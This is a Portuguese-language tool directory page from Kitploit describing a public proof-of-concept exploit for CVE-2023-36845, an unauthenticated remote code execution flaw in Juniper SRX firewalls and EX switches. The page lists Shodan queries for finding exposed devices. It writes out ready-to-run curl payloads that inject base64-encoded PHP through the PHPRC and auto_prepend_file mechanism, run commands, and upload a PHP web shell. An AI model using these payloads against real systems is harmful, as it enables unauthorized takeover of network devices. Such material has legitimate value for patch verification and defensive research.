Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-36845 — Exploit de prova de conceito para CVE-2023-36845 que permite execução remota de código sem autenticação em firewalls Juniper SRX e switches EX por meio de manipulação de variáveis de ambiente do PHP. | Kitploit
Ferramentas/GitHubGitHub/kljunowsky/cve-2023-36845
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoFerramenta de Acesso Remoto
GitHubkljunowsky/cve-2023-36845

CVE-2023-36845

Exploit de prova de conceito para CVE-2023-36845 que permite execução remota de código sem autenticação em firewalls Juniper SRX e switches EX por meio de manipulação de variáveis de ambiente do PHP.

Ver Repositório
551344há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-36845

Descrição

A CVE-2023-36845 representa uma notável vulnerabilidade de manipulação de variáveis de ambiente PHP que afeta firewalls Juniper SRX e switches EX. Embora a Juniper tenha categorizado esta vulnerabilidade como de severidade média, neste artigo elucidaremos como essa única vulnerabilidade pode ser explorada para execução remota de código não autenticada.

Pesquisa - Shodan

root@kitploit:~
title:"Juniper Web Device Manager"
imagem
root@kitploit:~
title:"Juniper" http.favicon.hash:2141724739
imagem

Uso 🛠

Detecção

root@kitploit:~
python3 CVE-2023-36845.py -f targets.txt -o output.txt

RCE 🧨

Opção 1

Utilizar qualquer wrapper de protocolo em conjunto com auto_prepend_file é viável. A escolha mais adequada para esta operação é o protocolo data://, que permite o fornecimento inline do "arquivo secundário". Aqui está uma representação sofisticada deste exploit, executando o <? phpinfo(); ?> embutido no esquema data://:

root@kitploit:~
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

Execute o comando whoami

<?php shell_exec('whoami'); ?>

root@kitploit:~
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8+Cg=="'

Opção 2

Carregue um arquivo

<?php if(isset($_REQUEST[cmd])){ echo "<pre>"; $cmd = ($_REQUEST[cmd]); system($cmd); echo "</pre>"; die; }?>

root@kitploit:~
$ curl http://target.tld/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "shell.php", "fileData": ",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo=
", "csize": 110}]'

Parâmetros 🧰

ParâmetroDescriçãoTipo
--file / -fArquivo de alvos de entradaArquivo
-oArquivo de saídaArquivo

Contato 📇

LinkedIn - Milan Jovic

Baixar ferramenta